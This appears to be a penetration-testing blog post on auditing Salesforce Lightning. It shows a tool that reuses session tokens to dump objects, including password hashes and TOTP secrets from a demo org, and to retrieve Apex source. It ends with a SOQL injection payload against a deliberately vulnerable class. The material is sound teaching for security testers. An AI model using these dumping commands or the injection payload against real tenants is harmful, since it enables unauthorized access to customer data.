Salesforce Penetration Testing Fundamentals
This blog walks you through using our script to audit a Salesforce environment, uncovering excessive permissions and platform-specific risks like SOQL injection.

Salesforce Lightning is ‘a cloud-based customer relationship management (CRM) software solution’, and primarily provides a platform for businesses to build their own application to manage customer relations and related data.
Practically, as a penetration tester performing a penetration test, the two main things you'll be looking for if you encounter Salesforce are:
- SaaS layer: Like most SaaS platforms, the primary risks stem from end-user misconfigurations - particularly access control issues.
- PaaS layer: Salesforce allows custom code (Apex) to run on the platform. If you can interact with this code, for example, via triggers, typical web application testing applies, including IDORs and Salesforce-specific vulnerabilities like SOQL injection.
As far as testing methodology goes, start by enumerating and inspecting any custom objects and fields accessible to your user or unauthenticated Guest. This often reveals sensitive data exposed via misconfigurations - more on this shortly.
Next, attempt to access and review any Apex classes available to the user. Analysing the source code can make it much easier t0 identify vulnerabilities.
To support this approach, we’ve adapted an existing tool to better align with this methodology.
Identifying Salesforce Sites
Lightning sites generally end with the following:
- *.force.com
- *.secure.force.com
- *.live.siteforce.com
You can also make a POST request to the following endpoints. A response that includes "actions":[
, aura:clientOutOfSync
or aura:invalidSession
will indicate the site is using Aura.
- /s/sfsites/aura
- /aura
- /sfsites/aura
- …/aura (Custom prefixes are possible)
Finally if you’re getting 100 POST requests to /aura
every time you reload a page, it’s probably built on Lightning.
SaaS Layer - Broken Access Control Testing
When testing for broken access controls in Salesforce, it’s essential to understand the core data structures: Objects, Fields, and Records.
- Objects - Comparable to database tables
- Fields - Equivalent to table columns
- Records - Represent individual rows in a table
Salesforce administrators use multiple layers of access control to restrict data visibility:
- Object-Level Security (OLS) - Controls access to entire objects (i.e. whole tables)
- Field-Level Security (FLS) - Restricts access to specific fields within an object (i.e. certain columns)
- Record-Level Security (RLS) - Limits access to specific records (i.e. individual rows)
Building on this, Salesforce includes a range of built-in standard objects, but administrators can also create custom objects and custom fields to suit their organisation's needs.
Custom objects and fields are typically identified by the __c
suffix - for example, a custom object might be named Secrets__c
.
Common Misconfigurations
By far the most common misconfiguration we see is sensitive custom objects or fields that are hidden from the UI but still accessible programmatically.
Authenticating
By inspecting any POST /aura
request in Burp, you'll find everything needed to authenticate our tool.
Specifically, extract the sid
cookie, along with the aura.context
and aura.token
parameters. These values can be copied directly from Burp, no URL decoding required.

Using the example above, here's what it looks like being used together with our tool. Without any additional parameters, the tool will attempt to download a page of the User
object.
python3 aura_dump.py -u https://orgfarm-f2ac53d407-dev-ed.develop.lightning.force.com/aura --cookie 'sid=00DgK000007MreL!AQEAQHYv6CVcKz4Hykwl7IPUnOn2kQbnGNhUdbwWg3xYkZIxJ0haUKjDexeedUTj9KtNLbOBYqgKLCfM921xNs90GVw3moIM;' -A '%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22eE5UbjZPdVlRT3M0d0xtOXc5MzVOQWg5TGxiTHU3MEQ5RnBMM0VzVXc1cmcxMi42MjkxNDU2LjE2Nzc3MjE2%22%2C%22app%22%3A%22one%3Aone%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fone%3Aone%22%3A%223834_UNpZUDgxaQC6D0NVE93GHA%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%22density%22%3A%22VIEW_ONE%22%2C%22appContextId%22%3A%2206mgK000004F10LQAS%22%7D%2C%22uad%22%3Atrue%7D' -T 'eyJub25jZSI6InQyVnNOSTgxWllmZWJrbGJCelZtLTRGb0tjSEtPQ244QUxTalJpbmlLd1VcdTAwM2QiLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IntcInRcIjpcIjAwRGdLMDAwMDAwMDAwMVwiLFwidlwiOlwiMDJHZ0swMDAwMDAwMDFkXCIsXCJhXCI6XCJjYWltYW5zaWduZXJcIn0iLCJjcml0IjpbImlhdCJdLCJpYXQiOjE3NTM5MTg0OTU2NTQsImV4cCI6MH0%3D..Bp3ExYOdvaucojeIJtn6XPPFY7HiE8QyYsG_IhPnVqA%3D'
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] 1/1) Getting 'User' object (page 1)...
{
"result": [
{
"record": {
"LastModifiedDate": "2025-07-14T19:01:33.000Z",
"Email": "noreply@00dgk000007mreluas",
"FirstName": "Automated",
"AboutMe": null,
"StateCode": null,
"Title": null,
"PostalCode": null,
"City": null,
"Manager": null,
"StateCode__l": null,
"MobilePhone": null,
"Name": "Automated Process",
"SystemModstamp": "2025-07-14T19:10:53.000Z",
"CompanyName": "EPIC OrgFarm",
Nice! It works.
aura.context
. aura.token
can be set as "null".Dumping Custom Objects
To dump a page of all Custom Objects available to our user we can set the -d --object-type custom
parameters.
python3 aura_dump.py -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' -d --object-type custom
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] Filtering objects by type: custom
[+] Found 1 objects to dump
[+] 1/1) Getting 'Secret__c' object (page 1)...
We've got access to one 'Secret' object!
By inspecting the output, these objects appear to expose sensitive data such as user password hashes and TOTP secrets.
cat https_orgfarm-f2ac53d407-dev-ed.develop.lightning.force.com_aura/Secret__c__page1.json
{
"result": [
{
"record": {
"LastModifiedDate": "2025-07-23T03:30:33.000Z",
"LastModifiedBy": {
"Id": "005gK0000055KrFQAU",
"Name": "John Green",
"sobjectType": "User"
},
"Owner": {
"Id": "005gK0000055KrFQAU",
"Name": "John Green",
"sobjectType": "Name"
},
"CreatedBy": {
"Id": "005gK0000055KrFQAU",
"Name": "John Green",
"sobjectType": "User"
},
"Name": "[email protected]",
"Password_Hash__c": "fc5e038d38a57032085441e7fe7010b0",
"SystemModstamp": "2025-07-23T03:30:33.000Z",
"CreatedDate__f": "7/22/2025, 8:30 PM",
"LastModifiedDate__f": "7/22/2025, 8:30 PM",
"OwnerId": "005gK0000055KrFQAU",
"CreatedById": "005gK0000055KrFQAU",
"CreatedDate": "2025-07-23T03:30:33.000Z",
"Id": "a00gK00000BQnoLQAT",
"LastModifiedById": "005gK0000055KrFQAU",
"TOTP_Secret__c": "JBSWY3DPEHPK3PXP",
"sobjectType": "Secret__c"
}
},
---SNIP---
],
"totalCount": 2
}
It might seem far-fetched, but we’ve encountered a real-world case where Salesforce was used as the user database for a custom-developed web portal. In that instance, password hashes were stored in Salesforce and used to authenticate users to the external application.
Dumping Standard Objects to Find Custom Fields
Finally, it's worth dumping all standard objects to identify any custom fields that may have been added.
By default there a lot of standard objects in Salesforce. Like most things, misconfigurations are more likely to be found in changes made by the organisation - i.e. any custom fields that were created.
python3 aura_dump.py -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' -d --object-type standard --custom-fields
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] Filtering objects by type: standard
[+] Found 1199 objects to dump
[+] 1/1199) Getting 'AIApplication' object (page 1)...
[+] 2/1199) Getting 'AIApplicationConfig' object (page 1)...
[+] 3/1199) Getting 'AIDataDefinition' object (page 1)...
[+] 4/1199) Getting 'AIError' object (page 1)...
[+] 5/1199) Getting 'AIFactorComponent' object (page 1)...
[+] 6/1199) Getting 'AIInsightAction' object (page 1)...
After waiting an eternity, the output looks like this.
cat https_orgfarm-blah.develop.lightning.force.com_aura/custom_fields_summary.txt
Custom Fields Summary
===================
Object: Account
Custom Fields:
- Active__c
- CustomerPriority__c
- NumberofLocations__c
- SLAExpirationDate__c
- SLASerialNumber__c
- SLA__c
- UpsellOpportunity__c
Object: Asset
Custom Fields:
- Confidential_Note__c
Object: Case
Custom Fields:
- EngineeringReqNumber__c
- PotentialLiability__c
cat https_orgfarm-blah.develop.lightning.force.com_aura/Asset__page1.json
{
"result": [
{
"record": {
"LastModifiedDate": "2025-07-23T03:33:24.000Z",
---SNIP---
"CreatedDate": "2025-07-23T03:33:13.000Z",
"UsageEndDate": null,
"Confidential_Note__c": "This is a confidential note.",
Confidential_Note__c looks interesting.
PaaS Layer - Apex Code Inspection
As it turns out, Apex Class code is stored in retrievable objects as well. Practically as a penetration tester, this means you can perform source code audits to more easily identify and exploit vulnerable code.
Here’s a scenario to demonstrate the risk:
Our test user can create and view Account records - but only their own, due to a combination of sharing rules and object-level permissions. However, an Apex class in the environment is configured with without sharing
, meaning it bypasses these restrictions and has access to all Account records.
Unfortunately, the class is also vulnerable to SOQL injection, which we can exploit to enumerate every Account in the tenant.
Using the --apex
parameter we can dump Apex Classes that our user has permissions to view. The code is returns in the Body
field.
python3 aura_dump.py -u https://orgfarm-blah.develop.lightning.force.com/aura --cookie 'sid=cookie;' -A 'aura.context' -T 'aura.token' --apex
[+] Starting exploit with user-supplied aura_context and token (no URL encoding)...
[+] 1/1) Getting 'ApexClass' object (page 1)...
# We have code!
cat https_orgfarm-blah.develop.lightning.force.com_aura/ApexClass__page1.json
{
"result": [
{
"record": {
"LastModifiedDate": "2025-08-06T23:42:45.000Z",
"LastModifiedBy": {
"Id": "005gK0000055KrFQAU",
"Name": "John Green",
"sobjectType": "User"
},
"CreatedBy": {
"Id": "005gK0000055KrFQAU",
"Name": "John Green",
"sobjectType": "User"
},
"Name": "VulnerableAccountSearch",
"SystemModstamp": "2025-08-06T23:42:45.000Z",
"CreatedDate__f": "7/30/2025, 7:41 PM",
"LastModifiedDate__f": "8/6/2025, 4:42 PM",
"CreatedById": "005gK0000055KrFQAU",
"CreatedDate": "2025-07-31T02:41:55.000Z",
"Id": "01pgK0000045nU1QAI",
"Body": "public without sharing class VulnerableAccountSearch {\n\n @AuraEnabled\n public static List<Account> search(String searchTerm) {\n // ⚠️ Vulnerable: searchTerm directly injected into WHERE clause\n String query = 'SELECT ' +\n 'Id, Name, Type, Industry, Rating, Phone, Fax, Website, AnnualRevenue, NumberOfEmployees, BillingAddress, ShippingAddress, Owner.Name ' +\n 'FROM Account ' +\n 'WHERE (OwnerId = \\'' + UserInfo.getUserId() + '\\' AND Name LIKE \\'%' + searchTerm + '%\\')';\n\n System.debug('Executing query: ' + query);\n return Database.query(query);\n }\n}",
"LastModifiedById": "005gK0000055KrFQAU",
"NamespacePrefix": null,
"sobjectType": "ApexClass"
}
}
],
"totalCount": 1
}
This vulnerable class is configured with without sharing
(default) which means it ignores sharing rules configured in Salesforce and effectively as full access to data.
Additionally user input is passed directly into a SOQL query.

Browsing around in the UI we can see that our user only has access to one account.

Using our search no results are returned if we search for "Edge".

However by exploiting SOQL injection we can retrieve all records in the tenant.

Here's what the query looks like with our payload inserted.
# Vulnerable query
SELECT Id, Name, Type, Industry, Rating, ... FROM Account WHERE (OwnerId = UserInfo.getUserId() AND Name LIKE '%searchTerm%')
# Our query becomes
SELECT Id, Name, Type, Industry, Rating, ... FROM Account WHERE (OwnerId = UserInfo.getUserId() AND Name LIKE '%test%') OR (Name LIKE '%')
Conclusion
Hopefully this article has helped clarify some of the fundamentals involved in assessing a Salesforce tenant when you encounter one.
I've included some additional references below where you can read more about what we're doing in more detail.
References
Salesforce Documentation about Vulnerable Apex Code
